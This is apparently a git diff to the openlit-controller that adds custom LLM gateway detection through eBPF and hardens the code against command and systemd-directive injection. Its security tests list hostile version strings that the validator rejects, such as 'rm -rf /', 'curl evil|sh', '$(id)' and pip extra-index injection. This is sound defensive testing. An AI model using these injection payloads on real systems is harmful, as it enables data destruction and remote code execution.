+ cfg.EBPF.PayloadExtraction.HTTP.GenAI.Qwen.Enabled = enabledProviders["qwen"]
cfg.EBPF.PayloadExtraction.HTTP.GenAI.Bedrock.Enabled = enabledProviders["bedrock"]
- cfg.EBPF.PayloadExtraction.HTTP.GenAI.VercelAI.Enabled = enabledProviders["vercel_ai"]
- cfg.EBPF.PayloadExtraction.HTTP.GenAI.VertexAI.Enabled = enabledProviders["vertex_ai"]
- cfg.EBPF.PayloadExtraction.HTTP.GenAI.LiteLLM.Enabled = enabledProviders["litellm"]
+ // Self-hosted gateways discovered via custom_llm_hosts.
+ cfg.EBPF.PayloadExtraction.HTTP.GenAI.Custom.Enabled = enabledProviders["custom"]
+ if enabledProviders["custom"] {
+ cfg.EBPF.PayloadExtraction.HTTP.GenAI.Custom.Hosts = customHosts
+ }
+ // Ollama native API: opt-in (not auto-enabled from discovery, which reports
+ // custom gateways as "custom"). A user can enable it explicitly.
cfg.EBPF.PayloadExtraction.HTTP.GenAI.Ollama.Enabled = enabledProviders["ollama"]
cfg.Attributes.Select = obiAttrSelection{
@@ -393,7 +421,10 @@ func BuildInstrumentConfig(
Include: []string{
"gen_ai.input.messages",
"gen_ai.output.messages",
- "gen_ai.system.instructions",
+ // Canonical GenAI semconv key is underscore-separated
+ // (gen_ai.system_instructions). The dotted form silently fails to
+ // match OBI's GenAIInstructions selector, dropping the attribute.
+ "gen_ai.system_instructions",
"gen_ai.metadata",
},
},
diff --git a/openlit-controller/internal/engine/obi_genai_test.go b/openlit-controller/internal/engine/obi_genai_test.go
new file mode 100644
index 00000000..9a60b781
--- /dev/null
+++ b/openlit-controller/internal/engine/obi_genai_test.go
@@ -0,0 +1,104 @@
+package engine
+
+import (
+ "testing"
+
+ "github.com/openlit/openlit/openlit-controller/internal/config"
+)
+
+func buildGenAI(t *testing.T, providers ...string) obiGenAI {
+ t.Helper()
+ enabled := make(map[string]bool, len(providers))
+ for _, p := range providers {
+ enabled[p] = true
+ }
+ cfg := BuildInstrumentConfig(
+ ExportConfig{OTLPEndpoint: "http://localhost:4318"},
+ nil,
+ enabled,
+ nil,
+ config.DeployLinux,
+ "default",
+ )
+ return cfg.EBPF.PayloadExtraction.HTTP.GenAI
+}
+
+// OpenAI-compatible SaaS vendors all enable the single OpenAI extractor.
+func TestBuildInstrumentConfigOpenAICompatibleCollapse(t *testing.T) {
+ for _, p := range []string{
+ "openai", "cohere", "mistral", "groq", "deepseek", "together",
+ "fireworks", "azure_inference", "azure_openai", "vercel_ai", "vertex_ai",
+ } {
+ g := buildGenAI(t, p)
+ if !g.OpenAI.Enabled {
+ t.Fatalf("provider %q should enable the OpenAI extractor", p)
+ }
+ if g.Custom.Enabled || g.Ollama.Enabled {
+ t.Fatalf("provider %q should not enable custom/ollama", p)
+ }
+ }
+}
+
+// Native-format providers enable their own extractor, not OpenAI.
+func TestBuildInstrumentConfigNativeProviders(t *testing.T) {
+ if g := buildGenAI(t, "anthropic"); !g.Anthropic.Enabled || g.OpenAI.Enabled {
+ t.Fatalf("anthropic mapping wrong: %+v", g)
+ }
+ if g := buildGenAI(t, "gemini"); !g.Gemini.Enabled || g.OpenAI.Enabled {
+ t.Fatalf("gemini mapping wrong: %+v", g)
+ }
+ if g := buildGenAI(t, "bedrock"); !g.Bedrock.Enabled || g.OpenAI.Enabled {
+ t.Fatalf("bedrock mapping wrong: %+v", g)
+ }
+ if g := buildGenAI(t, "qwen"); !g.Qwen.Enabled || g.OpenAI.Enabled {
+ t.Fatalf("qwen mapping wrong: %+v", g)
+ }
+}
+
+// Custom gateways enable the custom extractor only.
+func TestBuildInstrumentConfigCustomGateway(t *testing.T) {
+ g := buildGenAI(t, "custom")
+ if !g.Custom.Enabled {
+ t.Fatal("custom provider should enable the Custom extractor")
+ }
+ if g.OpenAI.Enabled || g.Ollama.Enabled {
+ t.Fatalf("custom should not enable openai/ollama: %+v", g)
+ }
+}
+
+// The configured gateway hosts flow into the OBI custom config so the extractor
+// can gate on destination.
+func TestBuildInstrumentConfigCustomHosts(t *testing.T) {
+ cfg := BuildInstrumentConfig(
+ ExportConfig{OTLPEndpoint: "http://openlit:4318"},
+ nil,
+ map[string]bool{"custom": true},
+ []string{"litellm:4000", "vllm:8000"},
+ config.DeployLinux,
+ "default",
+ )
+ hosts := cfg.EBPF.PayloadExtraction.HTTP.GenAI.Custom.Hosts
+ if len(hosts) != 2 || hosts[0] != "litellm:4000" || hosts[1] != "vllm:8000" {
+ t.Fatalf("custom hosts not threaded into config: %+v", hosts)
+ }
+}
+
+// Ollama (native) is opt-in and maps to its own extractor.
+func TestBuildInstrumentConfigOllama(t *testing.T) {
+ g := buildGenAI(t, "ollama")
+ if !g.Ollama.Enabled {
+ t.Fatal("ollama provider should enable the Ollama extractor")
+ }
+ if g.OpenAI.Enabled || g.Custom.Enabled {
+ t.Fatalf("ollama should not enable openai/custom: %+v", g)
+ }
+}
+
+// No providers → nothing enabled.
+func TestBuildInstrumentConfigEmpty(t *testing.T) {
+ g := buildGenAI(t)
+ if g.OpenAI.Enabled || g.Anthropic.Enabled || g.Gemini.Enabled ||
+ g.Qwen.Enabled || g.Bedrock.Enabled || g.Custom.Enabled || g.Ollama.Enabled {
+ t.Fatalf("no providers should enable nothing: %+v", g)
+ }
+}
diff --git a/openlit-controller/internal/engine/process.go b/openlit-controller/internal/engine/process.go
index 6bd90019..853c6c90 100644
--- a/openlit-controller/internal/engine/process.go
+++ b/openlit-controller/internal/engine/process.go
@@ -94,6 +94,31 @@ func readEnviron(procRoot string, pid int) map[string]string {
return env
}
+// userServiceNameFromEnv returns an explicit, user-configured OTel service name
+// from a process's environment, or "" if none is set. Precedence follows the
+// OTel SDK: OTEL_SERVICE_NAME wins, then service.name inside
+// OTEL_RESOURCE_ATTRIBUTES. This lets the controller adopt the name the user
+// already chose so discovery, OBI instrumentation, and SDK injection all agree
+// on it (and traces match the agents summary).
+func userServiceNameFromEnv(env map[string]string) string {
+ if env == nil {
+ return ""
+ }
+ if v := strings.TrimSpace(env["OTEL_SERVICE_NAME"]); v != "" {
+ return v
+ }
+ // OTEL_RESOURCE_ATTRIBUTES is a comma-separated list of key=value pairs.
+ for _, pair := range strings.Split(env["OTEL_RESOURCE_ATTRIBUTES"], ",") {
+ key, value, ok := strings.Cut(pair, "=")
+ if ok && strings.TrimSpace(key) == "service.name" {
+ if v := strings.TrimSpace(value); v != "" {
+ return v
+ }
+ }
+ }
+ return ""
+}
+
func readCgroup(procRoot string, pid int) string {
data, err := os.ReadFile(filepath.Join(procRoot, strconv.Itoa(pid), "cgroup"))
if err != nil {
@@ -258,6 +283,15 @@ func EnrichProcess(procRoot string, pid int, container *ContainerEnricher, mode
meta.IsContainerized = true
}
}
+
+ // An explicit user-set OTEL service name is authoritative: it overrides the
+ // container/process-derived name so the controller, OBI instrumentation, and
+ // SDK injection all report the same service.name the user already chose, and
+ // the emitted traces match the agents summary row keyed on this name.
+ if userName := userServiceNameFromEnv(env); userName != "" {
+ meta.ServiceName = userName
+ }
+
return meta
}
@@ -326,4 +360,3 @@ func restartProcessWithEnv(procRoot string, pid int, envOverrides map[string]str
}
return restartProcess(procRoot, pid, existingEnv)
}
-
diff --git a/openlit-controller/internal/engine/process_test.go b/openlit-controller/internal/engine/process_test.go
new file mode 100644
index 00000000..f030cab1
--- /dev/null
+++ b/openlit-controller/internal/engine/process_test.go
@@ -0,0 +1,36 @@
+package engine
+
+import "testing"
+
+func TestUserServiceNameFromEnv(t *testing.T) {
+ cases := []struct {
+ name string
+ env map[string]string
+ want string
+ }{
+ {"nil env", nil, ""},
+ {"none set", map[string]string{"PATH": "/usr/bin"}, ""},
+ {"OTEL_SERVICE_NAME wins", map[string]string{
+ "OTEL_SERVICE_NAME": "my-svc",
+ "OTEL_RESOURCE_ATTRIBUTES": "service.name=other",
+ }, "my-svc"},
+ {"service.name from resource attrs", map[string]string{
+ "OTEL_RESOURCE_ATTRIBUTES": "deployment.environment=prod,service.name=from-attrs,foo=bar",
+ }, "from-attrs"},
+ {"trims whitespace", map[string]string{"OTEL_SERVICE_NAME": " spaced "}, "spaced"},
+ {"empty OTEL_SERVICE_NAME falls through to attrs", map[string]string{
+ "OTEL_SERVICE_NAME": "",
+ "OTEL_RESOURCE_ATTRIBUTES": "service.name=attr-svc",
+ }, "attr-svc"},
+ {"resource attrs without service.name", map[string]string{
+ "OTEL_RESOURCE_ATTRIBUTES": "deployment.environment=prod",
+ }, ""},
+ }
+ for _, tc := range cases {
+ t.Run(tc.name, func(t *testing.T) {
+ if got := userServiceNameFromEnv(tc.env); got != tc.want {
+ t.Fatalf("got %q, want %q", got, tc.want)
+ }
+ })
+ }
+}
diff --git a/openlit-controller/internal/engine/python_sdk.go b/openlit-controller/internal/engine/python_sdk.go
index 97a4a8e0..2b0190cd 100644
--- a/openlit-controller/internal/engine/python_sdk.go
+++ b/openlit-controller/internal/engine/python_sdk.go
@@ -8,6 +8,7 @@ import (
"net/url"
"sort"
"strings"
+ "time"
"github.com/openlit/openlit/openlit-controller/internal/config"
"github.com/openlit/openlit/openlit-controller/internal/openlit"
@@ -101,6 +102,13 @@ func (e *Engine) EnablePythonSDK(serviceID string, payload openlit.PythonSDKActi
if payload.SDKVersion == "" {
payload.SDKVersion = e.sdkVersion
}
+ // sdk_version is attacker-controllable (it arrives in the poll action payload
+ // and is interpolated into pip install commands, including shell strings for
+ // the k8s init container / docker helper). Reject anything that isn't a plain
+ // PEP 440-style version before it can reach any exec path.
+ if !isValidSDKVersion(payload.SDKVersion) {
+ return fmt.Errorf("invalid sdk_version %q: must match a PEP 440 version (letters, digits, . _ + -)", payload.SDKVersion)
+ }
if payload.Environment == "" {
payload.Environment = e.environment
}
@@ -605,7 +613,19 @@ func (e *Engine) enablePythonSDKNakedPod(svc *openlit.ServiceState, payload open
}
}
- originalPodJSON, _ := json.Marshal(pod)
+ // Capture the original spec for rollback BEFORE the destructive delete. A
+ // naked pod has no controller to recreate it, so the delete→create window is
+ // the danger zone: log the full original spec at Error level first so it is
+ // recoverable from controller logs even if the process dies mid-recreate.
+ originalPodJSON, marshalErr := json.Marshal(pod)
+ if marshalErr != nil {
+ return fmt.Errorf("marshaling naked pod %s/%s before SDK injection: %w", namespace, podName, marshalErr)
+ }
+ e.logger.Info("recreating naked pod for SDK injection; original spec captured for rollback",
+ zap.String("namespace", namespace),
+ zap.String("pod", podName),
+ zap.ByteString("original_spec", originalPodJSON),
+ )
if err := e.container.k8sClient.deletePod(namespace, podName, 0); err != nil {
return fmt.Errorf("deleting naked pod %s/%s for SDK injection: %w", namespace, podName, err)
@@ -620,8 +640,23 @@ func (e *Engine) enablePythonSDKNakedPod(svc *openlit.ServiceState, payload open
var originalPod map[string]any
if unmarshalErr := json.Unmarshal(originalPodJSON, &originalPod); unmarshalErr == nil {
stripPodRuntimeFields(originalPod)
- if restoreErr := e.container.k8sClient.createPod(namespace, originalPod); restoreErr != nil {
- e.logger.Error("CRITICAL: naked pod rollback failed — pod is deleted and could not be restored. Manual intervention required.",
+ // Retry the rollback a few times — a transient API error must not be
+ // the difference between a recovered pod and a lost one.
+ var restoreErr error
+ for attempt := 1; attempt <= 3; attempt++ {
+ if restoreErr = e.container.k8sClient.createPod(namespace, originalPod); restoreErr == nil {
+ break
+ }
+ e.logger.Warn("naked pod rollback attempt failed, retrying",
+ zap.String("namespace", namespace),
+ zap.String("pod", podName),
+ zap.Int("attempt", attempt),
+ zap.Error(restoreErr),
+ )
+ time.Sleep(time.Duration(attempt) * time.Second)
+ }
+ if restoreErr != nil {
+ e.logger.Error("CRITICAL: naked pod rollback failed — pod is deleted and could not be restored. Original spec is in the preceding 'original_spec' log line. Manual intervention required.",
zap.String("namespace", namespace),
zap.String("pod", podName),
zap.Error(restoreErr),
@@ -1062,10 +1097,16 @@ func formatOTLPHeaders(headers map[string]string) string {
}
func pythonSDKConfigHash(svc *openlit.ServiceState, payload openlit.PythonSDKActionPayload) string {
- data, _ := json.Marshal(map[string]any{
+ data, err := json.Marshal(map[string]any{
"service": svc.ID,
"payload": payload,
})
+ if err != nil {
+ // Marshal of these plain structs should never fail, but if it does, fall
+ // back to a value-derived representation so distinct configs don't all
+ // collide onto the hash of "null".
+ data = []byte(fmt.Sprintf("%s|%+v", svc.ID, payload))
+ }
sum := sha256.Sum256(data)
return hex.EncodeToString(sum[:8])
}
@@ -1116,17 +1157,21 @@ func findTargetContainer(workload map[string]any, containerName string) (map[str
}
func selectContainerIndex(containers []map[string]any, containerName string) (int, error) {
- if containerName == "" && len(containers) == 1 {
- return 0, nil
+ // No target name specified: only unambiguous when there's exactly one container.
+ if containerName == "" {
+ if len(containers) == 1 {
+ return 0, nil
+ }
+ return -1, fmt.Errorf("no container name specified and pod has %d containers", len(containers))
}
+ // A name was specified: require an exact match. Do NOT silently fall back to
+ // containers[0] on mismatch — injecting into the wrong container is worse
+ // than failing the action visibly.
for index, container := range containers {
if container["name"] == containerName {
return index, nil
}
}
- if len(containers) == 1 {
- return 0, nil
- }
return -1, fmt.Errorf("failed to resolve target container %q", containerName)
}
diff --git a/openlit-controller/internal/engine/sdk_bundle.go b/openlit-controller/internal/engine/sdk_bundle.go
index 47201e87..bb6cf46a 100644
--- a/openlit-controller/internal/engine/sdk_bundle.go
+++ b/openlit-controller/internal/engine/sdk_bundle.go
@@ -5,6 +5,7 @@ import (
"os"
"os/exec"
"path/filepath"
+ "regexp"
)
const (
@@ -12,8 +13,31 @@ const (
pythonSDKBootstrapDirName = "bootstrap"
)
+// sdkVersionPattern allows only PEP 440-ish version strings: letters, digits,
+// and the separators . _ + - (e.g. "1.34.0", "1.34.0rc1", "1.34.0+local").
+// Crucially it forbids whitespace, quotes, ;, |, &, $, backticks, /, etc., so a
+// version value can never break out of the `openlit==<version>` install command
+// (including the shell-string variant used for the k8s/docker helper).
+var sdkVersionPattern = regexp.MustCompile(`^[A-Za-z0-9][A-Za-z0-9._+-]*$`)
+
+// isValidSDKVersion reports whether v is safe to interpolate into a pip install
+// command. The empty string is valid (means "latest"). Validation is enforced
+// at the action ingress (EnablePythonSDK); this is also called defensively here.
+func isValidSDKVersion(v string) bool {
+ if v == "" {
+ return true
+ }
+ if len(v) > 64 {
+ return false
+ }
+ return sdkVersionPattern.MatchString(v)
+}
+
func pypiPackageSpec(version string) string {
- if version == "" {
+ // Defense in depth: never emit an install spec for an unvalidated version.
+ // Callers validate at ingress; if an invalid value somehow reaches here,
+ // fall back to the unpinned package rather than build an injectable spec.
+ if version == "" || !isValidSDKVersion(version) {
return "openlit"
}
return "openlit==" + version
diff --git a/openlit-controller/internal/engine/security_test.go b/openlit-controller/internal/engine/security_test.go
new file mode 100644
index 00000000..10cb6306
--- /dev/null
+++ b/openlit-controller/internal/engine/security_test.go
@@ -0,0 +1,77 @@
+package engine
+
+import "testing"
+
+func TestIsValidSDKVersion(t *testing.T) {
+ valid := []string{
+ "", // empty == latest
+ "1.34.0",
+ "1.34.0rc1",
+ "1.34.0.post1",
+ "1.34.0+local.1",
+ "2024.1",
+ "1_2_3",
+ }
+ for _, v := range valid {
+ if !isValidSDKVersion(v) {
+ t.Errorf("expected %q to be valid", v)
+ }
+ }
+
+ // Anything that could break out of `openlit==<v>` in a shell or pip arg.
+ invalid := []string{
+ "1.0.0; rm -rf /",
+ "1.0.0 && curl evil|sh",
+ "1.0.0`whoami`",
+ "$(id)",
+ "1.0.0\nmalicious",
+ "1.0.0 --extra-index-url=http://evil",
+ "../../etc/passwd",
+ "openlit; pip install evil",
+ "-rfoo", // leading dash (pip option injection)
+ ".hidden", // must start alnum
+ }
+ for _, v := range invalid {
+ if isValidSDKVersion(v) {
+ t.Errorf("expected %q to be REJECTED", v)
+ }
+ }
+}
+
+func TestPypiPackageSpecNeverInjects(t *testing.T) {
+ // An invalid version must never produce an injectable spec.
+ if got := pypiPackageSpec("1.0.0; rm -rf /"); got != "openlit" {
+ t.Fatalf("invalid version leaked into spec: %q", got)
+ }
+ if got := pypiPackageSpec("1.34.0"); got != "openlit==1.34.0" {
+ t.Fatalf("valid version spec wrong: %q", got)
+ }
+ if got := pypiPackageSpec(""); got != "openlit" {
+ t.Fatalf("empty spec wrong: %q", got)
+ }
+}
+
+func TestSelectContainerIndexNoSilentFallback(t *testing.T) {
+ two := []map[string]any{{"name": "app"}, {"name": "sidecar"}}
+ // A specified-but-unmatched name must error, NOT fall back to index 0.
+ if _, err := selectContainerIndex(two, "missing"); err == nil {
+ t.Fatal("expected error for unmatched container name in multi-container pod")
+ }
+ one := []map[string]any{{"name": "only"}}
+ // Single container with a wrong name still must not be assumed.
+ if _, err := selectContainerIndex(one, "wrongname"); err == nil {
+ t.Fatal("expected error for unmatched name even in single-container pod")
+ }
+ // Exact match works.
+ if idx, err := selectContainerIndex(two, "sidecar"); err != nil || idx != 1 {
+ t.Fatalf("expected idx=1, got idx=%d err=%v", idx, err)
+ }
+ // Empty name + single container is the one allowed implicit case.
+ if idx, err := selectContainerIndex(one, ""); err != nil || idx != 0 {
+ t.Fatalf("expected idx=0 for empty name single container, got %d err=%v", idx, err)
+ }
+ // Empty name + multiple containers is ambiguous → error.
+ if _, err := selectContainerIndex(two, ""); err == nil {
+ t.Fatal("expected error for empty name with multiple containers")
+ }
+}
diff --git a/openlit-controller/internal/engine/systemd.go b/openlit-controller/internal/engine/systemd.go
index 289b0afe..c9646463 100644
--- a/openlit-controller/internal/engine/systemd.go
+++ b/openlit-controller/internal/engine/systemd.go
@@ -119,8 +119,24 @@ type systemdOTLPPayload struct {
Environment string
}
+// escapeSystemdValue makes a string safe to embed inside a double-quoted
+// systemd Environment="KEY=<value>" directive. Inputs can be attacker-influenced
+// (e.g. a user-set OTEL_SERVICE_NAME adopted as service name, or poll-supplied
+// OTLP settings), so we must prevent breaking out of the quoted value into new
+// unit directives. Order matters: escape backslashes first, then quotes, then
+// drop all C0 control characters (0x00–0x1F): CR/LF would terminate the directive
+// and inject a new one; tabs and other controls are invalid in a single-line value.
func escapeSystemdValue(value string) string {
- return strings.ReplaceAll(value, "\"", "\\\"")
+ value = strings.ReplaceAll(value, "\\", "\\\\")
+ value = strings.ReplaceAll(value, "\"", "\\\"")
+ value = strings.Map(func(r rune) rune {
+ // Drop every C0 control (including tab); none are valid here.
+ if r == '\n' || r == '\r' || (r >= 0 && r < 0x20) {
+ return -1
+ }
+ return r
+ }, value)
+ return value
}
func readSystemdDropInConfigHash(unit string) string {
diff --git a/openlit-controller/internal/engine/systemd_test.go b/openlit-controller/internal/engine/systemd_test.go
index 493689ef..d1060141 100644
--- a/openlit-controller/internal/engine/systemd_test.go
+++ b/openlit-controller/internal/engine/systemd_test.go
@@ -134,8 +134,26 @@ func TestReadSystemdDropInConfigHash(t *testing.T) {
}
func TestEscapeSystemdValue(t *testing.T) {
- got := escapeSystemdValue(`value with "quotes"`)
- if got != `value with \"quotes\"` {
- t.Errorf("got %q", got)
+ cases := []struct{ in, want string }{
+ {`value with "quotes"`, `value with \"quotes\"`},
+ {`back\slash`, `back\\slash`},
+ // Newline injection must be neutralized — otherwise a crafted value could
+ // inject a new Environment=/[Service] directive into the unit drop-in.
+ {"a\nEnvironment=\"EVIL=1\"", `aEnvironment=\"EVIL=1\"`},
+ {"a\r\nb", "ab"},
+ {"tab\tafter", "tabafter"},
+ }
+ for _, c := range cases {
+ if got := escapeSystemdValue(c.in); got != c.want {
+ t.Errorf("escapeSystemdValue(%q) = %q, want %q", c.in, got, c.want)
+ }
+ }
+ // Critical invariant: output never contains a raw line break.
+ for _, in := range []string{"x\ny", "x\r\ny", "a\nb\nc"} {
+ for _, r := range escapeSystemdValue(in) {
+ if r == '\n' || r == '\r' {
+ t.Fatalf("escapeSystemdValue(%q) left a line break", in)
+ }
+ }
}
}
diff --git a/openlit-controller/internal/engine/workload_test.go b/openlit-controller/internal/engine/workload_test.go
index f3968d86..0acb57c9 100644
--- a/openlit-controller/internal/engine/workload_test.go
+++ b/openlit-controller/internal/engine/workload_test.go
@@ -42,12 +42,33 @@ func TestBuildWorkloadKeyStableForNakedPods(t *testing.T) {
PodUID: "some-uid-123",
}
+ // The container-name suffix is infra-derived only (ContainerName/ContainerID),
+ // never ServiceName — so a user-set OTEL_SERVICE_NAME cannot shift the key.
+ // With no container info the suffix is the stable "default" literal; the key
+ // remains unique via namespace + pod name.
got := buildWorkloadKey(meta, config.DeployKubernetes)
- if got != "k8s:openlit:gemini-app:gemini-app" {
+ if got != "k8s:openlit:gemini-app:default" {
t.Fatalf("expected stable key using pod name, got %q", got)
}
}
+// The workload key must NOT change when a user sets OTEL_SERVICE_NAME (which
+// flows into meta.ServiceName) — identity is infrastructure-derived.
+func TestBuildWorkloadKeyIgnoresServiceNameOverride(t *testing.T) {
+ base := &ProcessMetadata{
+ Namespace: "openlit",
+ ServiceName: "original",
+ PodName: "gemini-app",
+ ContainerName: "app",
+ }
+ renamed := *base
+ renamed.ServiceName = "user-chosen-name" // simulates OTEL_SERVICE_NAME override
+
+ if buildWorkloadKey(base, config.DeployKubernetes) != buildWorkloadKey(&renamed, config.DeployKubernetes) {
+ t.Fatal("workload key changed when ServiceName changed — would cause a duplicate agent listing")
+ }
+}
+
func TestBuildWorkloadKeySeparatesNamespaces(t *testing.T) {
first := &ProcessMetadata{
Namespace: "team-a",
@@ -239,6 +260,7 @@ func TestBuildInstrumentConfigEnablesOnlyDetectedProviders(t *testing.T) {
"openai": true,
"bedrock": true,
},
+ nil,
config.DeployLinux,
"default",
)
diff --git a/openlit-controller/internal/openlit/client.go b/openlit-controller/internal/openlit/client.go
index 39090952..29f85276 100644
--- a/openlit-controller/internal/openlit/client.go
+++ b/openlit-controller/internal/openlit/client.go
@@ -2,6 +2,7 @@ package openlit
import (
"bytes"
+ "context"
"encoding/json"
"fmt"
"io"
@@ -30,15 +31,15 @@ func NewClient(baseURL, apiKey string, logger *zap.Logger) *Client {
}
}
-func (c *Client) Poll(req *PollRequest) (*PollResponse, error) {
+func (c *Client) Poll(ctx context.Context, req *PollRequest) (*PollResponse, error) {
resp := &PollResponse{}
- if err := c.post("/api/controller/poll", req, resp); err != nil {
+ if err := c.post(ctx, "/api/controller/poll", req, resp); err != nil {
return nil, fmt.Errorf("poll: %w", err)
}
return resp, nil
}
-func (c *Client) post(path string, body interface{}, out interface{}) error {
+func (c *Client) post(ctx context.Context, path string, body interface{}, out interface{}) error {
data, err := json.Marshal(body)
if err != nil {
return fmt.Errorf("marshal request: %w", err)
@@ -48,7 +49,7 @@ func (c *Client) post(path string, body interface{}, out interface{}) error {
if err != nil {
return fmt.Errorf("build URL: %w", err)
}
- req, err := http.NewRequest(http.MethodPost, u, bytes.NewReader(data))
+ req, err := http.NewRequestWithContext(ctx, http.MethodPost, u, bytes.NewReader(data))
if err != nil {
return fmt.Errorf("create request: %w", err)
}
diff --git a/openlit-controller/internal/openlit/types.go b/openlit-controller/internal/openlit/types.go
index 3e32b072..670af278 100644
--- a/openlit-controller/internal/openlit/types.go
+++ b/openlit-controller/internal/openlit/types.go
@@ -79,24 +79,24 @@ type ActionResult struct {
}
type DiscoveredService struct {
- ServiceName string `json:"service_name"`
- WorkloadKey string `json:"workload_key,omitempty"`
- Namespace string `json:"namespace,omitempty"`
- LanguageRuntime string `json:"language_runtime,omitempty"`
- LLMProviders []string `json:"llm_providers"`
- OpenPorts []uint16 `json:"open_ports,omitempty"`
- DeploymentName string `json:"deployment_name,omitempty"`
- PID int `json:"pid,omitempty"`
- ExePath string `json:"exe_path,omitempty"`
- InstrumentationStatus string `json:"instrumentation_status"`
- AgentObservabilityStatus string `json:"agent_observability_status,omitempty"`
- AgentObservabilitySource string `json:"agent_observability_source,omitempty"`
- ObservabilityConflict string `json:"observability_conflict,omitempty"`
- ObservabilityReason string `json:"observability_reason,omitempty"`
+ ServiceName string `json:"service_name"`
+ WorkloadKey string `json:"workload_key,omitempty"`
+ Namespace string `json:"namespace,omitempty"`
+ LanguageRuntime string `json:"language_runtime,omitempty"`
+ LLMProviders []string `json:"llm_providers"`
+ OpenPorts []uint16 `json:"open_ports,omitempty"`
+ DeploymentName string `json:"deployment_name,omitempty"`
+ PID int `json:"pid,omitempty"`
+ ExePath string `json:"exe_path,omitempty"`
+ InstrumentationStatus string `json:"instrumentation_status"`
+ AgentObservabilityStatus string `json:"agent_observability_status,omitempty"`
+ AgentObservabilitySource string `json:"agent_observability_source,omitempty"`
+ ObservabilityConflict string `json:"observability_conflict,omitempty"`
+ ObservabilityReason string `json:"observability_reason,omitempty"`
// LifecycleStatus is the controller's last-known lifecycle state for the
// workload ("running"/"stopped"/"restarting"). Echoed via
// resource_attributes["openlit.lifecycle.status"] for the dashboard rollup.
- LifecycleStatus string `json:"lifecycle_status,omitempty"`
+ LifecycleStatus string `json:"lifecycle_status,omitempty"`
FirstSeen string `json:"first_seen,omitempty"`
ResourceAttributes map[string]string `json:"resource_attributes,omitempty"`
}
diff --git a/openlit-controller/internal/scanner/bpf/llm_scanner.bpf.c b/openlit-controller/internal/scanner/bpf/llm_scanner.bpf.c
index c380c55b..9c65587f 100644
--- a/openlit-controller/internal/scanner/bpf/llm_scanner.bpf.c
+++ b/openlit-controller/internal/scanner/bpf/llm_scanner.bpf.c
@@ -5,12 +5,19 @@
char LICENSE[] SEC("license") = "Dual MIT/GPL";
+/* max_entries is sized for the built-in SaaS endpoints (each CDN-fronted host
+ * resolves to many A records) plus a generous allowance for user-configured
+ * custom hosts. A plain HASH (not LRU) is used deliberately: LRU eviction on a
+ * discovery map would silently stop detecting a still-valid endpoint. The Go
+ * side prunes stale keys on every refresh, so the map cannot grow unbounded
+ * from DNS churn. If the ceiling is ever hit, inserts return E2BIG and the
+ * resolver logs a warning rather than corrupting existing entries. */
struct {
__uint(type, BPF_MAP_TYPE_HASH);
- __uint(max_entries, 512);
- __type(key, __u32);
+ __uint(max_entries, 4096);
+ __type(key, struct llm_endpoint_key);
__type(value, __u8);
-} llm_ipv4 SEC(".maps");
+} llm_endpoints SEC(".maps");
struct {
__uint(type, BPF_MAP_TYPE_RINGBUF);
@@ -22,10 +29,12 @@ int BPF_KPROBE(trace_v4, struct sock *sk, struct sockaddr *uaddr) {
struct sockaddr_in sin = {};
bpf_probe_read_kernel(&sin, sizeof(sin), uaddr);
- if (__builtin_bswap16(sin.sin_port) != 443)
- return 0;
+ struct llm_endpoint_key key = {
+ .addr = sin.sin_addr.s_addr,
+ .port = __builtin_bswap16(sin.sin_port),
+ };
- __u8 *prov = bpf_map_lookup_elem(&llm_ipv4, &sin.sin_addr.s_addr);
+ __u8 *prov = bpf_map_lookup_elem(&llm_endpoints, &key);
if (!prov)
return 0;
@@ -35,8 +44,8 @@ int BPF_KPROBE(trace_v4, struct sock *sk, struct sockaddr *uaddr) {
__u64 pid_tgid = bpf_get_current_pid_tgid();
ev->pid = pid_tgid >> 32;
- ev->daddr = sin.sin_addr.s_addr;
- ev->dport = 443;
+ ev->daddr = key.addr;
+ ev->dport = key.port;
ev->provider = *prov;
bpf_get_current_comm(&ev->comm, sizeof(ev->comm));
@@ -49,15 +58,17 @@ int BPF_KPROBE(trace_v6, struct sock *sk, struct sockaddr *uaddr6) {
struct sockaddr_in6 sin6 = {};
bpf_probe_read_kernel(&sin6, sizeof(sin6), uaddr6);
- if (__builtin_bswap16(sin6.sin6_port) != 443)
- return 0;
-
/* Handle IPv4-mapped IPv6 addresses (::ffff:x.x.x.x) */
__u32 *a32 = (__u32 *)&sin6.sin6_addr;
if (a32[0] != 0 || a32[1] != 0 || a32[2] != __builtin_bswap32(0x0000FFFF))
return 0;
- __u8 *prov = bpf_map_lookup_elem(&llm_ipv4, &a32[3]);
+ struct llm_endpoint_key key = {
+ .addr = a32[3],
+ .port = __builtin_bswap16(sin6.sin6_port),
+ };
+
+ __u8 *prov = bpf_map_lookup_elem(&llm_endpoints, &key);
if (!prov)
return 0;
@@ -67,8 +78,8 @@ int BPF_KPROBE(trace_v6, struct sock *sk, struct sockaddr *uaddr6) {
__u64 pid_tgid = bpf_get_current_pid_tgid();
ev->pid = pid_tgid >> 32;
- ev->daddr = a32[3];
- ev->dport = 443;
+ ev->daddr = key.addr;
+ ev->dport = key.port;
ev->provider = *prov;
bpf_get_current_comm(&ev->comm, sizeof(ev->comm));
diff --git a/openlit-controller/internal/scanner/bpf/llm_scanner.h b/openlit-controller/internal/scanner/bpf/llm_scanner.h
index 8265cb8a..b5cfd473 100644
--- a/openlit-controller/internal/scanner/bpf/llm_scanner.h
+++ b/openlit-controller/internal/scanner/bpf/llm_scanner.h
@@ -1,6 +1,10 @@
#ifndef __LLM_SCANNER_H
#define __LLM_SCANNER_H
+/* Provider IDs are assigned and interpreted on the Go side (see
+ * internal/scanner/types.go); these defines are informational. Built-in SaaS
+ * providers use 1-12 (+ Bedrock regions 20-26); all user-configured custom
+ * gateways collapse to a single PROVIDER_CUSTOM. */
#define PROVIDER_OPENAI 1
#define PROVIDER_ANTHROPIC 2
#define PROVIDER_GEMINI 3
@@ -10,6 +14,18 @@
#define PROVIDER_DEEPSEEK 7
#define PROVIDER_TOGETHER 8
#define PROVIDER_FIREWORKS 9
+#define PROVIDER_CUSTOM 13
+
+/* Key for the llm_endpoints map: destination IPv4 (network byte order) plus
+ * destination port (host byte order). Keying on IP+port lets us match
+ * self-hosted proxies that listen on non-443 ports (LiteLLM :4000,
+ * Ollama :11434, vLLM :8000, ...) without false-positive matching every
+ * connection to a shared IP. __attribute__((packed)) keeps the key layout
+ * identical between the BPF program and the Go side. */
+struct llm_endpoint_key {
+ __u32 addr; /* IPv4, network byte order */
+ __u16 port; /* destination port, host byte order */
+} __attribute__((packed));
struct llm_event {
__u32 pid;
